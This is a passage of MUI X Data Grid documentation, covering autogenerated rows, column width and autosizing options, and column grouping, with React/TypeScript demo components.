Some features like [row grouping](/x/react-data-grid/row-grouping/) or [aggregation](/x/react-data-grid/aggregation/) create autogenerated rows.
These rows also call functions like `valueGetter`, `valueFormatter` and `renderCell`, and that can cause issues if you're not expecting it because the `row` parameter will be an empty object and the `value` parameter will be `undefined`.
If we take for example the movie dataset, you can detect autogenerated rows using `isAutogeneratedRow()`:

```tsx
{
  field: 'title',
  valueGetter: (value, row) => {
    if (isAutogeneratedRow(row)) {
      return '[this is an autogenerated row]';
    }
    return `title: ${value}`;
  },
}
```

```tsx
import {
  DataGridPremium,
  GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD,
  GridColDef,
  isAutogeneratedRow,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const columns: GridColDef[] = [
  { field: GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD, width: 200 },
  { field: 'company', width: 200 },
  {
    field: 'title',
    minWidth: 250,
    cellClassName: 'highlighted',
    valueGetter: (value, row) => {
      if (isAutogeneratedRow(row)) {
        return '[this is an autogenerated row]';
      }
      return `title: ${value}`;
    },
  },
  { field: 'year' },
];

export default function AutogeneratedRows() {
  const { rows } = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        rows={rows}
        columns={columns}
        apiRef={apiRef}
        initialState={initialState}
        defaultGroupingExpansionDepth={-1}
        sx={{
          '.MuiDataGrid-cell:not(.highlighted)': {
            color: '#999',
          },
        }}
      />
    </div>
  );
}

```

## Selectors

### Visible columns

Those selectors do not take into account hidden columns.

{{"component": "modules/components/SelectorsDocs.js", "category": "Visible Columns"}}

### Defined columns

Those selectors consider all the defined columns, including hidden ones.

{{"component": "modules/components/SelectorsDocs.js", "category": "Columns"}}

More information about the selectors and how to use them on the [dedicated page](/x/react-data-grid/state/#access-the-state).

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/column-dimensions.md

# Data Grid - Column dimensions

Customize the dimensions and resizing behavior of your columns.

## Column width

By default, the columns have a width of 100px.
This is an arbitrary, easy-to-remember value.
To change the width of a column, use the `width` property available in `GridColDef`.

```tsx
import { DataGrid } from '@mui/x-data-grid';

const rows = [
  {
    id: 1,
    username: '@MUI',
    age: 38,
  },
];

export default function ColumnWidthGrid() {
  return (
    <div style={{ height: 250, width: '100%' }}>
      <DataGrid
        columns={[{ field: 'username', width: 200 }, { field: 'age' }]}
        rows={rows}
      />
    </div>
  );
}

```

### Minimum width

By default, the columns have a minimum width of 50px.
This is an arbitrary, easy-to-remember value.
To change the minimum width of a column, use the `minWidth` property available in `GridColDef`.

```tsx
import { DataGrid } from '@mui/x-data-grid';

const rows = [
  {
    id: 1,
    username: '@MUI',
    age: 38,
  },
];

export default function ColumnMinWidthGrid() {
  return (
    <div style={{ height: 250, width: '100%' }}>
      <DataGrid
        columns={[{ field: 'username', minWidth: 150 }, { field: 'age' }]}
        rows={rows}
      />
    </div>
  );
}

```

### Fluid width

Column fluidity or responsiveness can be achieved by setting the `flex` property in `GridColDef`.

The `flex` property accepts a value between 0 and ∞.
It works by dividing the remaining space in the Data Grid among all flex columns in proportion to their `flex` value.

For example, consider a grid with a total width of 500px that has three columns: the first with `width: 200`; the second with `flex: 1`; and the third with `flex: 0.5`.
The first column will be 200px wide, leaving 300px remaining. The column with `flex: 1` is twice the size of `flex: 0.5`, which means that final sizes will be: 200px, 200px, 100px.

To set a minimum and maximum width for a `flex` column set the `minWidth` and the `maxWidth` property in `GridColDef`.

:::warning
Before using fluid width, note that:

- `flex` doesn't work together with `width`. If you set both `flex` and `width` in `GridColDef`, `flex` will override `width`.
- `flex` doesn't work if the combined width of the columns that have `width` is more than the width of the Data Grid itself. If that is the case a scroll bar will be visible, and the columns that have `flex` will default back to their base value of 100px.

:::

```tsx
import { DataGrid } from '@mui/x-data-grid';

const rows = [
  {
    id: 1,
    username: '@MUI',
    age: 20,
  },
];

export default function ColumnFluidWidthGrid() {
  return (
    <div style={{ height: 250, width: '100%' }}>
      <DataGrid
        columns={[
          {
            field: 'id',
            flex: 1,
            minWidth: 150,
          },
          {
            field: 'username',
            width: 200,
          },
          {
            field: 'age',
            flex: 0.3,
            minWidth: 50,
          },
        ]}
        rows={rows}
      />
    </div>
  );
}

```

## Resizing

By default, users can resize all columns in the Data Grid by dragging the right portion of the column separator.

To prevent the resizing of a column, set `resizable: false` in the `GridColDef`.
Alternatively, to disable all columns resize, set the prop `disableColumnResize={true}`.

To restrict resizing a column under a certain width set the `minWidth` property in `GridColDef`.

To restrict resizing a column above a certain width set the `maxWidth` property in `GridColDef`.

```tsx
import { DataGrid } from '@mui/x-data-grid';

const rows = [
  {
    id: 1,
    username: '@MUI',
    age: 20,
  },
];

export default function ColumnSizingGrid() {
  return (
    <div style={{ height: 250, width: '100%' }}>
      <DataGrid
        columns={[
          { field: 'id' },
          { field: 'username', width: 125, minWidth: 150, maxWidth: 200 },
          { field: 'age', resizable: false },
        ]}
        rows={rows}
      />
    </div>
  );
}

```

To capture changes in the width of a column there are two callbacks that are called:

- `onColumnResize`: Called while a column is being resized.
- `onColumnWidthChange`: Called after the width of a column is changed, but not during resizing.

## Autosizing

Autosizing is the feature to adjust the width of a column to fit its content including the header and the outliers (cells with long content).
It respects the `minWidth` and `maxWidth` options defined in the `columns` definition prop.

To configure autosizing behavior, use the `autosizeOptions` with the following options:

- `columns`: An array of column field names to autosize. If not provided, all columns will be autosized.
- `includeHeaders`: A boolean to indicate whether to include the header content when autosizing. Default is **true**.
- `includeOutliers`: A boolean to indicate whether to include outlier cells when autosizing. Default is **false**.
- `outliersFactor`: A number representing the factor to determine outliers. Default is **1.5**.
- `expand`: A boolean, if the total width is less than the available width, expand columns to fill it. Default is **false**.
- `disableColumnVirtualization`: A boolean to include virtualized columns (not rendered in the DOM) when autosizing. Default is **true**.
- `includeHeaderFilters` [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan'): A boolean to indicate whether to include the header filter content when autosizing. Default is **false**.

```tsx
<DataGrid
  {...otherProps}
  autosizeOptions={{
    columns: ['name', 'status', 'createdBy'],
    includeOutliers: true,
    includeHeaders: false,
  }}
/>
```

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import Checkbox from '@mui/material/Checkbox';
import FormControlLabel from '@mui/material/FormControlLabel';
import Rating from '@mui/material/Rating';
import Stack from '@mui/material/Stack';
import TextField from '@mui/material/TextField';
import {
  DataGrid,
  useGridApiRef,
  DEFAULT_GRID_AUTOSIZE_OPTIONS,
} from '@mui/x-data-grid';
import { randomRating, randomTraderName } from '@mui/x-data-grid-generator';

function renderRating(params: any) {
  return <Rating readOnly value={params.value} />;
}

function useData(length: number) {
  return React.useMemo(() => {
    const names = [
      'Nike',
      'Adidas',
      'Puma',
      'Reebok',
      'Fila',
      'Lululemon Athletica Clothing',
      'Varley',
    ];
    const rows = Array.from({ length }).map((_, id) => ({
      id,
      brand: names[id % names.length],
      rep: randomTraderName(),
      rating: randomRating(),
    }));

    const columns = [
      { field: 'id', headerName: 'Brand ID' },
      { field: 'brand', headerName: 'Brand name' },
      { field: 'rep', headerName: 'Representative' },
      {
        field: 'rating',
        headerName: 'Rating',
        renderCell: renderRating,
        display: 'flex' as const,
      },
    ];

    return { rows, columns };
  }, [length]);
}

export default function ColumnAutosizing() {
  const apiRef = useGridApiRef();
  const data = useData(100);

  const [includeHeaders, setIncludeHeaders] = React.useState(
    DEFAULT_GRID_AUTOSIZE_OPTIONS.includeHeaders,
  );
  const [includeOutliers, setExcludeOutliers] = React.useState(
    DEFAULT_GRID_AUTOSIZE_OPTIONS.includeOutliers,
  );
  const [outliersFactor, setOutliersFactor] = React.useState(
    String(DEFAULT_GRID_AUTOSIZE_OPTIONS.outliersFactor),
  );
  const [expand, setExpand] = React.useState(DEFAULT_GRID_AUTOSIZE_OPTIONS.expand);

  const autosizeOptions = {
    includeHeaders,
    includeOutliers,
    outliersFactor: Number.isNaN(parseFloat(outliersFactor))
      ? 1
      : parseFloat(outliersFactor),
    expand,
  };

  return (
    <div style={{ width: '100%' }}>
      <Stack
        spacing={1}
        direction="row"
        alignItems="center"
        sx={{ mb: 1 }}
        useFlexGap
        flexWrap="wrap"
      >
        <Button
          variant="outlined"
          onClick={() => apiRef.current?.autosizeColumns(autosizeOptions)}
        >
          Autosize columns
        </Button>
        <FormControlLabel
          sx={{ ml: 0 }}
          control={
            <Checkbox
              checked={includeHeaders}
              onChange={(ev) => setIncludeHeaders(ev.target.checked)}
            />
          }
          label="Include headers"
        />
        <FormControlLabel
          sx={{ ml: 0 }}
          control={
            <Checkbox
              checked={includeOutliers}
              onChange={(event) => setExcludeOutliers(event.target.checked)}
            />
          }
          label="Include outliers"
        />
        <TextField
          size="small"
          label="Outliers factor"
          value={outliersFactor}
          onChange={(ev) => setOutliersFactor(ev.target.value)}
          sx={{ width: '12ch' }}
        />
        <FormControlLabel
          sx={{ ml: 0 }}
          control={
            <Checkbox
              checked={expand}
              onChange={(ev) => setExpand(ev.target.checked)}
            />
          }
          label="Expand"
        />
      </Stack>
      <div style={{ height: 400, width: '100%' }}>
        <DataGrid
          apiRef={apiRef}
          density="compact"
          {...data}
          autosizeOptions={autosizeOptions}
        />
      </div>
    </div>
  );
}

```

:::info
The `autosizeOptions` only applies to the [column header separator](#column-header-separator) and the `autosizeOnMount` prop.

It **does not** apply to the `autosizeColumns()` method when you call it programmatically, you have to pass the options directly.
:::

### Column header separator

Autosizing can be triggered by double-clicking the column header separator.

To disable this behavior, use the `disableAutosize` prop.

```jsx
<DataGrid {...otherProps} disableAutosize />
```

Note that for the separator double-click method, the `autosizeOptions.columns` will be replaced by the respective column user double-clicked on.

### Autosizing on mount

To automatically autosize columns when the Data Grid is mounted, use the `autosizeOnMount` prop.

```jsx
<DataGrid {...otherProps} autosizeOnMount />
```

### Autosizing programmatically

Use API method `apiRef.current.autosizeColumns(autosizeOptions)` to adjust the column size programmatically. Common usage could be to bind it with specified events, for example when receiving row data from the server.

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import Rating from '@mui/material/Rating';
import Stack from '@mui/material/Stack';
import { DataGridPro, useGridApiRef, GridColDef } from '@mui/x-data-grid-pro';
import {
  randomInt,
  randomRating,
  randomTraderName,
} from '@mui/x-data-grid-generator';
import * as ReactDOM from 'react-dom';
import { GridData } from 'docsx/data/data-grid/virtualization/ColumnVirtualizationGrid';

const columns: GridColDef[] = [
  { field: 'id', headerName: 'Brand ID' },
  { field: 'brand', headerName: 'Brand name' },
  { field: 'rep', headerName: 'Representative' },
  {
    field: 'rating',
    headerName: 'Rating',
    renderCell: renderRating,
    display: 'flex',
  },
];

function renderRating(params: any) {
  return <Rating readOnly value={params.value} />;
}

function getFakeData(length: number): Promise<{ rows: GridData['rows'] }> {
  return new Promise((resolve) => {
    setTimeout(() => {
      const names = [
        'Nike',
        'Adidas',
        'Puma',
        'Reebok',
        'Fila',
        'Lululemon Athletica Clothing',
        'Varley',
      ];
      const rows = Array.from({ length }).map((_, id) => ({
        id,
        brand: names[randomInt(0, names.length - 1)],
        rep: randomTraderName(),
        rating: randomRating(),
      }));

      resolve({ rows });
    }, 1000);
  });
}

export default function ColumnAutosizingAsync() {
  const apiRef = useGridApiRef();
  const [isLoading, setIsLoading] = React.useState(false);
  const [rows] = React.useState([]);

  const fetchData = React.useCallback(() => {
    setIsLoading(true);
    getFakeData(100)
      .then((data) => {
        ReactDOM.flushSync(() => {
          setIsLoading(false);
          apiRef.current?.updateRows(data.rows);
        });
      })
      // `sleep`/`setTimeout` is required because `.updateRows` is an
      // async function throttled to avoid choking on frequent changes.
      .then(() => sleep(0))
      .then(() =>
        apiRef.current?.autosizeColumns({
          includeHeaders: true,
          includeOutliers: true,
        }),
      );
  }, [apiRef]);

  React.useEffect(() => {
    fetchData();
  }, [fetchData]);

  return (
    <div style={{ width: '100%' }}>
      <Stack
        spacing={1}
        direction="row"
        alignItems="center"
        sx={{ mb: 1 }}
        useFlexGap
        flexWrap="wrap"
      >
        <Button variant="outlined" onClick={fetchData}>
          Refetch data
        </Button>
      </Stack>
      <div style={{ height: 400, width: '100%' }}>
        <DataGridPro
          apiRef={apiRef}
          density="compact"
          columns={columns}
          rows={rows}
          loading={isLoading}
        />
      </div>
    </div>
  );
}

function sleep(ms: number) {
  return new Promise((resolve) => {
    setTimeout(resolve, ms);
  });
}

```

:::warning
This example uses `ReactDOM.flushSync`. If used incorrectly it can hurt the performance of your application. Please refer to the official [React docs](https://react.dev/reference/react-dom/flushSync) for further information.
:::

### Autosizing virtualized columns

Use `autoSizeColumns({ disableColumnVirtualization: true})` to include columns that are not visible in the DOM due to column virtualization.

:::warning
The time to complete the autosizing operation exponentially depends on the number of virtualized columns.
:::

```tsx
import * as React from 'react';
import { DataGrid, GridColDef, GridRowId, useGridApiRef } from '@mui/x-data-grid';
import Button from '@mui/material/Button';

export interface DataRowModel {
  id: GridRowId;
  [price: string]: number | string;
}

export interface GridData {
  columns: GridColDef[];
  rows: DataRowModel[];
}

function useData(rowLength: number, columnLength: number) {
  const [data, setData] = React.useState<GridData>({ columns: [], rows: [] });

  React.useEffect(() => {
    const rows: DataRowModel[] = [];

    for (let i = 0; i < rowLength; i += 1) {
      const row: DataRowModel = {
        id: i,
      };

      for (let j = 1; j <= columnLength; j += 1) {
        row[`price${j}M`] = `${i.toString()}, ${j} `;
      }

      rows.push(row);
    }

    const columns: GridColDef[] = [];

    for (let j = 1; j <= columnLength; j += 1) {
      columns.push({ field: `price${j}M`, headerName: `${j}M` });
    }

    setData({
      rows,
      columns,
    });
  }, [rowLength, columnLength]);

  return data;
}

export default function ColumnAutosizingVirtualized() {
  const apiRef = useGridApiRef();
  const data = useData(100, 1000);

  return (
    <div style={{ width: '100%' }}>
      <Button
        onClick={() =>
          apiRef.current?.autosizeColumns({
            disableColumnVirtualization: true,
            includeHeaders: true,
          })
        }
      >
        Autosize Columns
      </Button>
      <div style={{ height: 400, width: '100%' }}>
        <DataGrid apiRef={apiRef} {...data} columnBufferPx={100} />
      </div>
    </div>
  );
}

```

### Autosizing with dynamic row height

Column autosizing is compatible with the [Dynamic row height](/x/react-data-grid/row-height/#dynamic-row-height) feature.

```tsx
import Button from '@mui/material/Button';
import {
  DataGrid,
  GridColDef,
  gridClasses,
  useGridApiRef,
  GridAutosizeOptions,
} from '@mui/x-data-grid';
import { randomInt, randomArrayItem } from '@mui/x-data-grid-generator';

const lines = [
  'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
  'Aliquam dapibus, lorem vel mattis aliquet, purus lorem tincidunt mauris, in blandit quam risus sed ipsum.',
  'Maecenas non felis venenatis, porta velit quis, consectetur elit.',
  'Vestibulum commodo et odio a laoreet.',
  'Nullam cursus tincidunt auctor.',
  'Sed feugiat venenatis nulla, sit amet dictum nulla convallis sit amet.',
  'Nulla venenatis justo non felis vulputate, eu mollis metus ornare.',
  'Nam ullamcorper ligula id consectetur auctor.',
  'Phasellus et ultrices dui.',
  'Fusce facilisis egestas massa, et eleifend magna imperdiet et.',
  'Pellentesque ac metus velit.',
  'Vestibulum in massa nibh.',
  'Vestibulum pulvinar aliquam turpis, ac faucibus risus varius a.',
];

const columns: GridColDef[] = [{ field: 'id' }, { field: 'bio', width: 400 }];

const rows: object[] = [];

for (let i = 0; i < 200; i += 1) {
  const bio = [];

  for (let j = 0; j < randomInt(1, 5); j += 1) {
    bio.push(randomArrayItem(lines));
  }

  rows.push({ id: i, bio: bio.join(' ') });
}

const autosizeOptions: GridAutosizeOptions = {
  includeOutliers: true,
};

export default function ColumnAutosizingDynamicRowHeight() {
  const apiRef = useGridApiRef();

  return (
    <div style={{ width: '100%' }}>
      <Button onClick={() => apiRef.current?.autosizeColumns(autosizeOptions)}>
        Autosize Columns
      </Button>
      <div style={{ height: 400, width: '100%' }}>
        <DataGrid
          apiRef={apiRef}
          rows={rows}
          columns={columns}
          getRowHeight={() => 'auto'}
          autosizeOptions={autosizeOptions}
          sx={{
            [`& .${gridClasses.cell}`]: {
              py: 0.5,
            },
          }}
        />
      </div>
    </div>
  );
}

```

:::warning
When autosizing columns with long content, consider setting the `maxWidth` for the column to avoid it becoming too wide.
:::

### Autosizing header filters [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

To include the header filter content when autosizing columns, pass the `includeHeaderFilters` to the `autosizeOptions`.

```tsx
<DataGrid
  {...otherProps}
  autosizeOptions={{
    includeHeaderFilters: true,
  }}
/>
```

```tsx
import * as React from 'react';
import Rating from '@mui/material/Rating';
import { DataGridPremium } from '@mui/x-data-grid-premium';
import { randomRating, randomTraderName } from '@mui/x-data-grid-generator';

const columns = [
  { field: 'id', headerName: 'Brand ID' },
  { field: 'brand', headerName: 'Brand name' },
  { field: 'rep', headerName: 'Representative' },
  {
    field: 'rating',
    headerName: 'Rating',
    renderCell: renderRating,
    display: 'flex' as const,
  },
];

function renderRating(params: any) {
  return <Rating readOnly value={params.value} />;
}

function useRows(length: number) {
  return React.useMemo(() => {
    const names = [
      'Nike',
      'Adidas',
      'Puma',
      'Reebok',
      'Fila',
      'Lululemon Athletica Clothing',
      'Varley',
    ];
    const rows = Array.from({ length }).map((_, id) => ({
      id,
      brand: names[id % names.length],
      rep: randomTraderName(),
      rating: randomRating(),
    }));

    return rows;
  }, [length]);
}

export default function ColumnAutosizingHeaderFilters() {
  const rows = useRows(100);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        density="compact"
        rows={rows}
        columns={columns}
        headerFilters
        autosizeOptions={{
          includeHeaderFilters: true,
        }}
      />
    </div>
  );
}

```

or when calling the `autosizeColumns()` method programmatically:

```tsx
apiRef.current.autosizeColumns({
  includeHeaderFilters: true,
});
```

### Autosizing with grouped rows [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

When using [row grouping](/x/react-data-grid/row-grouping/) you can utilize the `autosizeColumns` method to adjust the column width of the expanded rows dynamically.
The demo below shows how you can subscribe to the `rowExpansionChange` event. The provided handler function then calls the `autosizeColumns` method from the gridApi.

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridGroupingColDefOverride,
  GridValidRowModel,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const groupingColDef: GridGroupingColDefOverride<GridValidRowModel> = {
  width: 250,
};

export default function ColumnAutosizingGroupedRows() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const columns = React.useMemo(() => {
    return data.columns.map((col) => ({ ...col, width: 50 }));
  }, [data.columns]);

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: { rowGrouping: { model: ['company'] } },
  });

  React.useEffect(() => {
    return apiRef.current?.subscribeEvent('rowExpansionChange', (params) => {
      if (params.childrenExpanded) {
        apiRef.current?.autosizeColumns({ includeOutliers: true });
      }
    });
  }, [apiRef]);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        columns={columns}
        apiRef={apiRef}
        initialState={initialState}
        groupingColDef={groupingColDef}
      />
    </div>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/column-groups.md

# Data Grid - Column groups

Group your columns.

Grouping columns lets you have a multi-level hierarchy of columns in your header.

## Define column groups

You can define column groups with the `columnGroupingModel` prop.
This prop receives an array of column groups.

A column group is defined by at least two properties:

- `groupId`: a string used to identify the group
- `children`: an array containing the children of the group

The `children` attribute can contain two types of objects:

- leaves with type `{ field: string }`, which add the column with the corresponding `field` to this group
- other column groups, making it possible to create nested groups

:::warning
A column can only be associated with one group.
:::

```jsx
<DataGrid
  columnGroupingModel={[
    {
      groupId: 'internal data',
      children: [{ field: 'id' }],
    },
    {
      groupId: 'character',
      children: [
        {
          groupId: 'naming',
          children: [{ field: 'lastName' }, { field: 'firstName' }],
        },
        { field: 'age' },
      ],
    },
  ]}
/>
```

```tsx
import { DataGrid, GridColDef, GridColumnGroupingModel } from '@mui/x-data-grid';

const columns: GridColDef[] = [
  { field: 'id', headerName: 'ID', width: 90 },
  {
    field: 'firstName',
    headerName: 'First name',
    width: 150,
  },
  {
    field: 'lastName',
    headerName: 'Last name',
    width: 150,
  },
  {
    field: 'age',
    headerName: 'Age',
    type: 'number',
    width: 110,
  },
];

const rows = [
  { id: 1, lastName: 'Snow', firstName: 'Jon', age: 14 },
  { id: 2, lastName: 'Lannister', firstName: 'Cersei', age: 31 },
  { id: 3, lastName: 'Lannister', firstName: 'Jaime', age: 31 },
  { id: 4, lastName: 'Stark', firstName: 'Arya', age: 11 },
  { id: 5, lastName: 'Targaryen', firstName: 'Daenerys', age: null },
  { id: 6, lastName: 'Melisandre', firstName: null, age: 150 },
  { id: 7, lastName: 'Clifford', firstName: 'Ferrara', age: 44 },
  { id: 8, lastName: 'Frances', firstName: 'Rossini', age: 36 },
  { id: 9, lastName: 'Roxie', firstName: 'Harvey', age: 65 },
];

const columnGroupingModel: GridColumnGroupingModel = [
  {
    groupId: 'Internal',
    description: '',
    children: [{ field: 'id' }],
  },
  {
    groupId: 'Basic info',
    children: [
      {
        groupId: 'Full name',
        children: [{ field: 'lastName' }, { field: 'firstName' }],
      },
      { field: 'age' },
    ],
  },
];

export default function BasicGroupingDemo() {
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        rows={rows}
        columns={columns}
        checkboxSelection
        disableRowSelectionOnClick
        columnGroupingModel={columnGroupingModel}
      />
    </div>
  );
}

```

## Customize column group

In addition to the required `groupId` and `children`, you can use the following optional properties to customize a column group:

- `headerName`: the string displayed as the column's name (instead of `groupId`).
- `description`: a text for the tooltip.
- `headerClassName`: a CSS class for styling customization.
- `renderHeaderGroup`: a function returning custom React component.

```tsx
import * as React from 'react';
import { styled } from '@mui/material/styles';
import Box from '@mui/material/Box';
import {
  DataGrid,
  GridColDef,
  GridColumnGroupHeaderParams,
  GridColumnGroupingModel,
} from '@mui/x-data-grid';
import BuildIcon from '@mui/icons-material/Build';
import PersonIcon from '@mui/icons-material/Person';

const columns: GridColDef[] = [
  { field: 'id', headerName: 'ID', width: 150 },
  {
    field: 'firstName',
    headerName: 'First name',
    width: 150,
  },
  {
    field: 'lastName',
    headerName: 'Last name',
    width: 150,
  },
  {
    field: 'age',
    headerName: 'Age',
    type: 'number',
    width: 110,
  },
];

const rows = [
  { id: 1, lastName: 'Snow', firstName: 'Jon', age: 14 },
  { id: 2, lastName: 'Lannister', firstName: 'Cersei', age: 31 },
  { id: 3, lastName: 'Lannister', firstName: 'Jaime', age: 31 },
  { id: 4, lastName: 'Stark', firstName: 'Arya', age: 11 },
  { id: 5, lastName: 'Targaryen', firstName: 'Daenerys', age: null },
  { id: 6, lastName: 'Melisandre', firstName: null, age: 150 },
  { id: 7, lastName: 'Clifford', firstName: 'Ferrara', age: 44 },
  { id: 8, lastName: 'Frances', firstName: 'Rossini', age: 36 },
  { id: 9, lastName: 'Roxie', firstName: 'Harvey', age: 65 },
];

interface HeaderWithIconProps extends GridColumnGroupHeaderParams {
  icon: React.ReactNode;
}

const HeaderWithIconRoot = styled('div')(({ theme }) => ({
  overflow: 'hidden',
  display: 'flex',
  alignItems: 'center',
  '& span': {
    overflow: 'hidden',
    textOverflow: 'ellipsis',
    marginRight: theme.spacing(0.5),
  },
}));

function HeaderWithIcon(props: HeaderWithIconProps) {
  const { icon, ...params } = props;

  return (
    <HeaderWithIconRoot>
      <span>{params.headerName ?? params.groupId}</span> {icon}
    </HeaderWithIconRoot>
  );
}

const columnGroupingModel: GridColumnGroupingModel = [
  {
    groupId: 'internal_data',
    headerName: 'Internal',
    description: '',
    renderHeaderGroup: (params) => (
      <HeaderWithIcon {...params} icon={<BuildIcon fontSize="small" />} />
    ),
    children: [{ field: 'id' }],
  },
  {
    groupId: 'character',
    description: 'Information about the character',
    headerName: 'Basic info',
    renderHeaderGroup: (params) => (
      <HeaderWithIcon {...params} icon={<PersonIcon fontSize="small" />} />
    ),
    children: [
      {
        groupId: 'naming',
        headerName: 'Names',
        headerClassName: 'my-super-theme--naming-group',
        children: [{ field: 'lastName' }, { field: 'firstName' }],
      },
      { field: 'age' },
    ],
  },
];

export default function CustomizationDemo() {
  return (
    <Box
      sx={{
        height: 400,
        width: '100%',
        '& .my-super-theme--naming-group': {
          backgroundColor: 'rgba(255, 7, 0, 0.55)',
        },
      }}
    >
      <DataGrid
        rows={rows}
        columns={columns}
        checkboxSelection
        disableRowSelectionOnClick
        columnGroupingModel={columnGroupingModel}
      />
    </Box>
  );
}

```

## Group header height

By default, column group headers are the same height as [column headers](/x/react-data-grid/column-header/#header-height). This will be the default 56 pixels or a custom value set with the `columnHeaderHeight` prop.

The `columnGroupHeaderHeight` prop can be used to size column group headers independently of column headers.

```tsx
import { DataGrid, GridColDef, GridColumnGroupingModel } from '@mui/x-data-grid';

const columns: GridColDef[] = [
  { field: 'id', headerName: 'ID', width: 90 },
  {
    field: 'firstName',
    headerName: 'First name',
    width: 150,
  },
  {
    field: 'lastName',
    headerName: 'Last name',
    width: 150,
  },
  {
    field: 'age',
    headerName: 'Age',
    type: 'number',
    width: 110,
  },
];

const rows = [
  { id: 1, lastName: 'Snow', firstName: 'Jon', age: 14 },
  { id: 2, lastName: 'Lannister', firstName: 'Cersei', age: 31 },
  { id: 3, lastName: 'Lannister', firstName: 'Jaime', age: 31 },
  { id: 4, lastName: 'Stark', firstName: 'Arya', age: 11 },
  { id: 5, lastName: 'Targaryen', firstName: 'Daenerys', age: null },
  { id: 6, lastName: 'Melisandre', firstName: null, age: 150 },
  { id: 7, lastName: 'Clifford', firstName: 'Ferrara', age: 44 },
  { id: 8, lastName: 'Frances', firstName: 'Rossini', age: 36 },
  { id: 9, lastName: 'Roxie', firstName: 'Harvey', age: 65 },
];

const columnGroupingModel: GridColumnGroupingModel = [
  {
    groupId: 'Internal',
    description: '',
    children: [{ field: 'id' }],
  },
  {
    groupId: 'Basic info',
    children: [
      {
        groupId: 'Full name',
        children: [{ field: 'lastName' }, { field: 'firstName' }],
      },
      { field: 'age' },
    ],
  },
];

export default function GroupHeaderHeight() {
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        rows={rows}
        columns={columns}
        columnGroupingModel={columnGroupingModel}
        columnGroupHeaderHeight={36}
      />
    </div>
  );
}

```

## Column reordering [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

By default, the columns that are part of a group cannot be dragged to outside their group.
You can customize this behavior on specific groups by setting `freeReordering: true` in a column group object.

In the example below, the `Full name` column group can be divided, but not other column groups.

```tsx
import {
  DataGridPro,
  GridColDef,
  GridColumnGroupingModel,
} from '@mui/x-data-grid-pro';

const columns: GridColDef[] = [
  { field: 'id', headerName: 'ID', width: 100 },
  { field: 'isAdmin', type: 'boolean', headerName: 'is admin', width: 100 },
  {
    field: 'firstName',
    headerName: 'First name',
    width: 150,
  },
  {
    field: 'lastName',
    headerName: 'Last name',
    width: 150,
  },
  {
    field: 'age',
    headerName: 'Age',
    type: 'number',
    width: 110,
  },
];

const rows = [
  { id: 1, isAdmin: false, lastName: 'Snow', firstName: 'Jon', age: 14 },
  { id: 2, isAdmin: true, lastName: 'Lannister', firstName: 'Cersei', age: 31 },
  { id: 3, isAdmin: false, lastName: 'Lannister', firstName: 'Jaime', age: 31 },
  { id: 4, isAdmin: false, lastName: 'Stark', firstName: 'Arya', age: 11 },
  { id: 5, isAdmin: true, lastName: 'Targaryen', firstName: 'Daenerys', age: null },
  { id: 6, isAdmin: true, lastName: 'Melisandre', firstName: null, age: 150 },
  { id: 7, isAdmin: false, lastName: 'Clifford', firstName: 'Ferrara', age: 44 },
  { id: 8, isAdmin: false, lastName: 'Frances', firstName: 'Rossini', age: 36 },
  { id: 9, isAdmin: false, lastName: 'Roxie', firstName: 'Harvey', age: 65 },
];

const columnGroupingModel: GridColumnGroupingModel = [
  {
    groupId: 'internal_data',
    headerName: 'Internal (not freeReordering)',
    description: '',
    children: [{ field: 'id' }, { field: 'isAdmin' }],
  },
  {
    groupId: 'naming',
    headerName: 'Full name (freeReordering)',
    freeReordering: true,
    children: [{ field: 'lastName' }, { field: 'firstName' }],
  },
];

export default function BreakingGroupDemo() {
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        rows={rows}
        columns={columns}
        checkboxSelection
        disableRowSelectionOnClick
        columnGroupingModel={columnGroupingModel}
      />
    </div>
  );
}

```

## Collapsible column groups

The demo below uses [`renderHeaderGroup`](/x/react-data-grid/column-groups/#customize-column-group) to add a button to collapse/expand the column group.

```tsx
import { styled } from '@mui/material/styles';
import Box from '@mui/material/Box';
import IconButton from '@mui/material/IconButton';
import {
  DataGrid,
  GridColDef,
  GridColumnGroupHeaderParams,
  GridColumnGroupingModel,
  gridColumnVisibilityModelSelector,
  useGridApiContext,
} from '@mui/x-data-grid';
import KeyboardArrowRightIcon from '@mui/icons-material/KeyboardArrowRight';
import KeyboardArrowDownIcon from '@mui/icons-material/KeyboardArrowDown';

const COLLAPSIBLE_COLUMN_GROUPS: Record<string, Array<string>> = {
  character: ['lastName', 'age'],
  naming: ['lastName'],
};

const ColumnGroupRoot = styled('div')({
  overflow: 'hidden',
